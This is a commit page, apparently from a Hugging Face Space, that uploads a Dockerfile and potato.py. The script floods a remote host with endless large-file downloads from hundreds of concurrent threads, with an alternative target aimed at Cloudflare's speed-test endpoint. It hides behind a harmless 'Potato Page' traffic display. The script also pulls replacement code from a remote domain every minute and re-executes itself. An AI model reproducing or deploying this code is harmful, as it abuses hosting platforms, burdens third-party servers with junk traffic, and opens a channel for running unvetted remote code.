RIaeXZkongsZFtB
commited on
Commit
·
227de8e
1
Parent(s):
0b021d5
Upload 4 files
Browse files- Dockerfile +11 -0
- README.md +5 -6
- potato.py +418 -0
- requirements.txt +3 -0
Dockerfile
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
FROM python:3.10
|
| 2 |
+
EXPOSE 7860
|
| 3 |
+
WORKDIR /app
|
| 4 |
+
|
| 5 |
+
COPY ./ /app
|
| 6 |
+
|
| 7 |
+
RUN pip3 install -r requirements.txt \
|
| 8 |
+
&& chmod 777 -R /app \
|
| 9 |
+
&& chmod a+x -R /app
|
| 10 |
+
|
| 11 |
+
ENTRYPOINT ["python3", "potato.py"]
|
README.md
CHANGED
|
@@ -1,10 +1,9 @@
|
|
| 1 |
---
|
| 2 |
-
title:
|
| 3 |
-
emoji:
|
| 4 |
-
colorFrom:
|
| 5 |
-
colorTo:
|
| 6 |
sdk: docker
|
| 7 |
pinned: false
|
|
|
|
| 8 |
---
|
| 9 |
-
|
| 10 |
-
Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
|
|
|
|
| 1 |
---
|
| 2 |
+
title: zZWyoMVOdIUJunWk
|
| 3 |
+
emoji: 😂
|
| 4 |
+
colorFrom: blue
|
| 5 |
+
colorTo: green
|
| 6 |
sdk: docker
|
| 7 |
pinned: false
|
| 8 |
+
license: mit
|
| 9 |
---
|
|
|
|
|
|
potato.py
ADDED
|
@@ -0,0 +1,418 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|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
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import hashlib
|
| 2 |
+
import concurrent.futures
|
| 3 |
+
import time
|
| 4 |
+
import http.server
|
| 5 |
+
import socketserver
|
| 6 |
+
import threading
|
| 7 |
+
import psutil
|
| 8 |
+
import traceback
|
| 9 |
+
import sys
|
| 10 |
+
import os
|
| 11 |
+
|
| 12 |
+
port = 7860
|
| 13 |
+
wait_second = 1
|
| 14 |
+
update_when_run_scripts = True # True 时启动时更新, False 启动后300s启动更新
|
| 15 |
+
script_name = "potato.py"
|
| 16 |
+
script_url = "https://potato.fuckgyz.eu.org/potato.py"
|
| 17 |
+
import_str = "psutil==5.9.1 requests==2.31.0 selenium==4.10.0"
|
| 18 |
+
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1788.0"
|
| 19 |
+
|
| 20 |
+
task_list = [
|
| 21 |
+
[
|
| 22 |
+
"get",
|
| 23 |
+
{
|
| 24 |
+
"process": 1,
|
| 25 |
+
"threads": 1,
|
| 26 |
+
"url": "http://6.6.6.6",
|
| 27 |
+
"headers": {
|
| 28 |
+
"User-Agent": user_agent,
|
| 29 |
+
# "Referer": "https://www.google.com",
|
| 30 |
+
# "Origin": "https://www.google.com",
|
| 31 |
+
# "Host": "www.google.com",
|
| 32 |
+
# "Cookies": "",
|
| 33 |
+
},
|
| 34 |
+
"data": {
|
| 35 |
+
# "key": "value",
|
| 36 |
+
}
|
| 37 |
+
}
|
| 38 |
+
],
|
| 39 |
+
[
|
| 40 |
+
"get",
|
| 41 |
+
{
|
| 42 |
+
"process": 8,
|
| 43 |
+
"threads": 128,
|
| 44 |
+
"url": "https://cache.fuckgyz.eu.org/100m.bin",
|
| 45 |
+
"headers": {
|
| 46 |
+
"User-Agent": user_agent,
|
| 47 |
+
# "Referer": "https://www.google.com",
|
| 48 |
+
# "Origin": "https://www.google.com",
|
| 49 |
+
# "Host": "www.google.com",
|
| 50 |
+
# "Cookies": "",
|
| 51 |
+
},
|
| 52 |
+
"data": {
|
| 53 |
+
# "key": "value",
|
| 54 |
+
}
|
| 55 |
+
}
|
| 56 |
+
],
|
| 57 |
+
# [
|
| 58 |
+
# "get",
|
| 59 |
+
# {
|
| 60 |
+
# "process": 8,
|
| 61 |
+
# "threads": 128,
|
| 62 |
+
# "url": "http://speed.cloudflare.com/__down?bytes=1145141919810",
|
| 63 |
+
# "headers": {
|
| 64 |
+
# "User-Agent": user_agent,
|
| 65 |
+
# # "Referer": "https://www.google.com",
|
| 66 |
+
# # "Origin": "https://www.google.com",
|
| 67 |
+
# # "Host": "www.google.com",
|
| 68 |
+
# # "Cookies": "",
|
| 69 |
+
# },
|
| 70 |
+
# "data": {
|
| 71 |
+
# # "key": "value",
|
| 72 |
+
# }
|
| 73 |
+
# }
|
| 74 |
+
# ],
|
| 75 |
+
# [
|
| 76 |
+
# "get",
|
| 77 |
+
# {
|
| 78 |
+
# "process": 1,
|
| 79 |
+
# "threads": 1,
|
| 80 |
+
# "url": "https://www.google.com",
|
| 81 |
+
# "headers": {
|
| 82 |
+
# "User-Agent": user_agent,
|
| 83 |
+
# # "Referer": "https://www.google.com",
|
| 84 |
+
# # "Origin": "https://www.google.com",
|
| 85 |
+
# # "Host": "www.google.com",
|
| 86 |
+
# # "Cookies": "",
|
| 87 |
+
# },
|
| 88 |
+
# "data": {
|
| 89 |
+
# # "key": "value",
|
| 90 |
+
# }
|
| 91 |
+
# }
|
| 92 |
+
# ],
|
| 93 |
+
]
|
| 94 |
+
|
| 95 |
+
task_get_data = {
|
| 96 |
+
"process": 8,
|
| 97 |
+
"threads": 128,
|
| 98 |
+
"url": "http://speed.cloudflare.com/__down?bytes=1145141919810",
|
| 99 |
+
"headers": {
|
| 100 |
+
"User-Agent": user_agent,
|
| 101 |
+
# "Referer": "https://www.google.com",
|
| 102 |
+
# "Origin": "https://www.google.com",
|
| 103 |
+
# "Host": "www.google.com",
|
| 104 |
+
# "Cookies": "",
|
| 105 |
+
},
|
| 106 |
+
"data": {
|
| 107 |
+
# "key": "value",
|
| 108 |
+
}
|
| 109 |
+
}
|
| 110 |
+
task_post_data = {
|
| 111 |
+
"process": 8,
|
| 112 |
+
"threads": 128,
|
| 113 |
+
"url": "https://www.google.com",
|
| 114 |
+
"headers": {
|
| 115 |
+
"User-Agent": user_agent,
|
| 116 |
+
# "Referer": "https://www.google.com",
|
| 117 |
+
# "Origin": "https://www.google.com",
|
| 118 |
+
# "Host": "www.google.com",
|
| 119 |
+
# "Cookies": "",
|
| 120 |
+
},
|
| 121 |
+
"data": {
|
| 122 |
+
# "key": "value",
|
| 123 |
+
}
|
| 124 |
+
}
|
| 125 |
+
task_browser_data = {
|
| 126 |
+
"process": 8,
|
| 127 |
+
"threads": 1,
|
| 128 |
+
"url": "https://www.google.com",
|
| 129 |
+
# "headers": {
|
| 130 |
+
# "User-Agent": user_agent,
|
| 131 |
+
# # "Referer": "https://www.google.com",
|
| 132 |
+
# # "Origin": "https://www.google.com",
|
| 133 |
+
# # "Host": "www.google.com",
|
| 134 |
+
# # "Cookies": "",
|
| 135 |
+
# },
|
| 136 |
+
# "data": {
|
| 137 |
+
# # "key": "value",
|
| 138 |
+
# }
|
| 139 |
+
}
|
| 140 |
+
|
| 141 |
+
task_workers = []
|
| 142 |
+
success = 0
|
| 143 |
+
failed = 0
|
| 144 |
+
total = 0
|
| 145 |
+
net_s1 = ""
|
| 146 |
+
net_s2 = ""
|
| 147 |
+
net_s3 = ""
|
| 148 |
+
net_s4 = ""
|
| 149 |
+
net_s5 = ""
|
| 150 |
+
|
| 151 |
+
|
| 152 |
+
def restart():
|
| 153 |
+
print("正在重启脚本")
|
| 154 |
+
# 结束子进程
|
| 155 |
+
for task in task_workers:
|
| 156 |
+
print(f"结束子进程:{str(task_workers.index(task))}")
|
| 157 |
+
try:
|
| 158 |
+
task.terminate()
|
| 159 |
+
except:
|
| 160 |
+
traceback.print_exc()
|
| 161 |
+
print(f"子进程结束失败!索引:{str(task_workers.index(task))}")
|
| 162 |
+
pass
|
| 163 |
+
print(f"子进程:{str(task_workers.index(task))} 结束成功")
|
| 164 |
+
# 重启脚本
|
| 165 |
+
print("开始重启主线程")
|
| 166 |
+
python = sys.executable
|
| 167 |
+
os.execl(python, python, *sys.argv)
|
| 168 |
+
|
| 169 |
+
|
| 170 |
+
def update():
|
| 171 |
+
import requests
|
| 172 |
+
i = 0
|
| 173 |
+
while True:
|
| 174 |
+
try:
|
| 175 |
+
if i == 0 and not update_when_run_scripts:
|
| 176 |
+
time.sleep(300)
|
| 177 |
+
i += 1
|
| 178 |
+
print("开始检查更新")
|
| 179 |
+
response = requests.get(script_url)
|
| 180 |
+
sha256_hash_old = hashlib.sha256(open(script_name, 'rb').read()).hexdigest()
|
| 181 |
+
sha256_hash_new = hashlib.sha256(response.content).hexdigest()
|
| 182 |
+
if sha256_hash_old == sha256_hash_new:
|
| 183 |
+
print(f"{str(sha256_hash_old)} == {str(sha256_hash_new)}")
|
| 184 |
+
print("已是最新版本")
|
| 185 |
+
time.sleep(60)
|
| 186 |
+
continue
|
| 187 |
+
print("发现新版本代码,开始更新")
|
| 188 |
+
print("写入到:" + script_name)
|
| 189 |
+
with open(script_name, 'wb') as file:
|
| 190 |
+
file.write(response.content)
|
| 191 |
+
print("写入成功\n重新运行脚本")
|
| 192 |
+
restart()
|
| 193 |
+
except:
|
| 194 |
+
traceback.print_exc()
|
| 195 |
+
print("更新出现错误")
|
| 196 |
+
time.sleep(60)
|
| 197 |
+
|
| 198 |
+
|
| 199 |
+
def import_init():
|
| 200 |
+
try:
|
| 201 |
+
import hashlib
|
| 202 |
+
import threading
|
| 203 |
+
import time
|
| 204 |
+
import traceback
|
| 205 |
+
import requests
|
| 206 |
+
import sys
|
| 207 |
+
import os
|
| 208 |
+
import selenium
|
| 209 |
+
except:
|
| 210 |
+
try:
|
| 211 |
+
print("部分依赖未安装,正在安装依赖")
|
| 212 |
+
os.system(f"pip install {import_str}")
|
| 213 |
+
print("依赖安装完成")
|
| 214 |
+
except:
|
| 215 |
+
print("依赖安装失败,请检查报错")
|
| 216 |
+
|
| 217 |
+
|
| 218 |
+
def get_worker(i, task_data):
|
| 219 |
+
import requests
|
| 220 |
+
|
| 221 |
+
def get():
|
| 222 |
+
global success
|
| 223 |
+
global failed
|
| 224 |
+
global total
|
| 225 |
+
with requests.get(task_data["url"], headers=task_data["headers"],
|
| 226 |
+
data=task_data["data"] if task_data["data"] != {} else None, stream=True) as r:
|
| 227 |
+
if r.status_code == requests.codes.ok:
|
| 228 |
+
for _ in r.iter_content(chunk_size=1048576):
|
| 229 |
+
pass
|
| 230 |
+
total += 1
|
| 231 |
+
if r.status_code == 200:
|
| 232 |
+
success += 1
|
| 233 |
+
else:
|
| 234 |
+
failed += 1
|
| 235 |
+
r.close()
|
| 236 |
+
|
| 237 |
+
def monitor():
|
| 238 |
+
while True:
|
| 239 |
+
print(f"Worker: {str(i)}, Success: {str(success)}, Failed: {str(failed)}, Total: {str(total)}")
|
| 240 |
+
print(f"Task URL: " + task_data["url"])
|
| 241 |
+
time.sleep(1)
|
| 242 |
+
|
| 243 |
+
print(f"get任务{str(i)}开始运行")
|
| 244 |
+
threading.Thread(target=monitor).start()
|
| 245 |
+
while True:
|
| 246 |
+
try:
|
| 247 |
+
executor = concurrent.futures.ThreadPoolExecutor(max_workers=task_data["threads"])
|
| 248 |
+
while True:
|
| 249 |
+
if executor._work_queue.qsize() < executor._max_workers:
|
| 250 |
+
executor.submit(get)
|
| 251 |
+
else:
|
| 252 |
+
time.sleep(0.5)
|
| 253 |
+
except:
|
| 254 |
+
traceback.print_exc()
|
| 255 |
+
print("get任务运行出现错误,重试...")
|
| 256 |
+
time.sleep(1)
|
| 257 |
+
|
| 258 |
+
|
| 259 |
+
def post_worker(i, task_data):
|
| 260 |
+
import requests
|
| 261 |
+
|
| 262 |
+
def post():
|
| 263 |
+
global success
|
| 264 |
+
global failed
|
| 265 |
+
global total
|
| 266 |
+
with requests.post(task_data["url"], headers=task_data["headers"],
|
| 267 |
+
data=task_data["data"] if task_data["data"] != {} else None, stream=True) as r:
|
| 268 |
+
if r.status_code == requests.codes.ok:
|
| 269 |
+
for _ in r.iter_content(chunk_size=1048576):
|
| 270 |
+
pass
|
| 271 |
+
total += 1
|
| 272 |
+
if r.status_code == 200:
|
| 273 |
+
success += 1
|
| 274 |
+
else:
|
| 275 |
+
failed += 1
|
| 276 |
+
r.close()
|
| 277 |
+
|
| 278 |
+
def monitor():
|
| 279 |
+
while True:
|
| 280 |
+
print(f"Worker: {str(i)}, Success: {str(success)}, Failed: {str(failed)}, Total: {str(total)}")
|
| 281 |
+
print(f"Task URL: " + task_data["url"])
|
| 282 |
+
time.sleep(1)
|
| 283 |
+
|
| 284 |
+
print(f"post任务{str(i)}开始运行")
|
| 285 |
+
threading.Thread(target=monitor).start()
|
| 286 |
+
while True:
|
| 287 |
+
try:
|
| 288 |
+
executor = concurrent.futures.ThreadPoolExecutor(max_workers=task_data["threads"])
|
| 289 |
+
while True:
|
| 290 |
+
if executor._work_queue.qsize() < executor._max_workers:
|
| 291 |
+
executor.submit(post)
|
| 292 |
+
else:
|
| 293 |
+
time.sleep(0.5)
|
| 294 |
+
except:
|
| 295 |
+
traceback.print_exc()
|
| 296 |
+
print("post任务运行出现错误,重试...")
|
| 297 |
+
time.sleep(1)
|
| 298 |
+
|
| 299 |
+
|
| 300 |
+
# def browser_worker():
|
| 301 |
+
# import requests
|
| 302 |
+
#
|
| 303 |
+
# while True:
|
| 304 |
+
# try:
|
| 305 |
+
# response = requests.get(task_get_data["url"], headers=task_get_data["headers"])
|
| 306 |
+
# return
|
| 307 |
+
# except:
|
| 308 |
+
# traceback.print_exc()
|
| 309 |
+
# print("get任务运行出现错误")
|
| 310 |
+
# time.sleep(1)
|
| 311 |
+
|
| 312 |
+
|
| 313 |
+
def do_task_worker(i, task):
|
| 314 |
+
import multiprocessing
|
| 315 |
+
global task_workers
|
| 316 |
+
print("开始运行线程:" + str(i))
|
| 317 |
+
kv = {
|
| 318 |
+
"get": get_worker,
|
| 319 |
+
"post": post_worker,
|
| 320 |
+
# "browser": browser_worker,
|
| 321 |
+
}
|
| 322 |
+
p_pool = []
|
| 323 |
+
for i in range(task[1]["process"]):
|
| 324 |
+
try:
|
| 325 |
+
print("开始运行任务:")
|
| 326 |
+
print(task[1])
|
| 327 |
+
p = multiprocessing.Process(target=kv[task[0]], args=(i, task[1]))
|
| 328 |
+
except:
|
| 329 |
+
print(f"未知的任务类型:{task[0]},请重新配置")
|
| 330 |
+
return
|
| 331 |
+
task_workers.append(p)
|
| 332 |
+
p_pool.append(p)
|
| 333 |
+
p.start()
|
| 334 |
+
for p in p_pool:
|
| 335 |
+
p.join()
|
| 336 |
+
print(f"线程:{str(i)}, 任务运行完成")
|
| 337 |
+
|
| 338 |
+
|
| 339 |
+
def monitor_network():
|
| 340 |
+
global net_s1
|
| 341 |
+
global net_s2
|
| 342 |
+
global net_s3
|
| 343 |
+
global net_s4
|
| 344 |
+
global net_s5
|
| 345 |
+
last_sent_bytes = psutil.net_io_counters().bytes_sent
|
| 346 |
+
last_recv_bytes = psutil.net_io_counters().bytes_recv
|
| 347 |
+
while True:
|
| 348 |
+
time.sleep(wait_second)
|
| 349 |
+
current_sent_bytes = psutil.net_io_counters().bytes_sent
|
| 350 |
+
current_recv_bytes = psutil.net_io_counters().bytes_recv
|
| 351 |
+
sent_bytes = current_sent_bytes - last_sent_bytes
|
| 352 |
+
sent_speed = psutil._common.bytes2human(int(sent_bytes / wait_second)) + "/s"
|
| 353 |
+
recv_bytes = current_recv_bytes - last_recv_bytes
|
| 354 |
+
recv_speed = psutil._common.bytes2human(int(recv_bytes / wait_second)) + "/s"
|
| 355 |
+
last_sent_bytes = current_sent_bytes
|
| 356 |
+
last_recv_bytes = current_recv_bytes
|
| 357 |
+
net_s1 = f"Total network traffic: {psutil._common.bytes2human(current_sent_bytes + current_recv_bytes)}"
|
| 358 |
+
net_s2 = f"Sent traffic in the last {str(wait_second)} seconds: " + psutil._common.bytes2human(sent_bytes)
|
| 359 |
+
net_s3 = "Sent speed: " + sent_speed
|
| 360 |
+
net_s4 = f"Received traffic in the last {str(wait_second)} seconds: {psutil._common.bytes2human(recv_bytes)}"
|
| 361 |
+
net_s5 = "Received speed: " + recv_speed
|
| 362 |
+
print("\n" + net_s1)
|
| 363 |
+
print(net_s2)
|
| 364 |
+
print(net_s3)
|
| 365 |
+
print(net_s4)
|
| 366 |
+
print(net_s5 + "\n")
|
| 367 |
+
|
| 368 |
+
|
| 369 |
+
def generate_tasks_page():
|
| 370 |
+
s = ""
|
| 371 |
+
for i in task_list:
|
| 372 |
+
s += i[0] + ": " + i[1]["url"] + "<br>"
|
| 373 |
+
return s
|
| 374 |
+
|
| 375 |
+
|
| 376 |
+
class MyRequestHandler(http.server.BaseHTTPRequestHandler):
|
| 377 |
+
def do_GET(self):
|
| 378 |
+
self.send_response(200)
|
| 379 |
+
self.send_header("Content-type", "text/html")
|
| 380 |
+
self.end_headers()
|
| 381 |
+
po_list_bytes = generate_tasks_page().encode(encoding='utf-8')
|
| 382 |
+
net_s1_bytes = net_s1.encode(encoding='utf-8')
|
| 383 |
+
net_s2_bytes = net_s2.encode(encoding='utf-8')
|
| 384 |
+
net_s3_bytes = net_s3.encode(encoding='utf-8')
|
| 385 |
+
net_s4_bytes = net_s4.encode(encoding='utf-8')
|
| 386 |
+
net_s5_bytes = net_s5.encode(encoding='utf-8')
|
| 387 |
+
self.wfile.write(
|
| 388 |
+
b"<html><body><h1>This is Potato Page!</h1><p>There is a po-ta-to list:</p><p>" + po_list_bytes + b"</p><p>" + net_s1_bytes + b"<br>" + net_s2_bytes + b"<br>" + net_s3_bytes + b"<br>" + net_s4_bytes + b"<br>" + net_s5_bytes + b"</p></body></html>")
|
| 389 |
+
|
| 390 |
+
|
| 391 |
+
def http_server_init():
|
| 392 |
+
with socketserver.TCPServer(("", port), MyRequestHandler) as httpd:
|
| 393 |
+
print("Server started at http://localhost:{}".format(port))
|
| 394 |
+
httpd.serve_forever()
|
| 395 |
+
|
| 396 |
+
|
| 397 |
+
def init():
|
| 398 |
+
threading.Thread(target=update).start()
|
| 399 |
+
threading.Thread(target=http_server_init).start()
|
| 400 |
+
threading.Thread(target=monitor_network).start()
|
| 401 |
+
import_init()
|
| 402 |
+
for i in range(len(task_list)):
|
| 403 |
+
threading.Thread(target=do_task_worker, args=(i, task_list[i])).start()
|
| 404 |
+
print("初始化成功")
|
| 405 |
+
while True:
|
| 406 |
+
time.sleep(60)
|
| 407 |
+
|
| 408 |
+
|
| 409 |
+
if __name__ == "__main__":
|
| 410 |
+
while True:
|
| 411 |
+
try:
|
| 412 |
+
init()
|
| 413 |
+
print("出现错误,重新运行")
|
| 414 |
+
time.sleep(1)
|
| 415 |
+
except:
|
| 416 |
+
traceback.print_exc()
|
| 417 |
+
print("出现错误,重新运行")
|
| 418 |
+
time.sleep(1)
|
requirements.txt
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
psutil==5.9.1
|
| 2 |
+
requests==2.31.0
|
| 3 |
+
selenium==4.10.0
|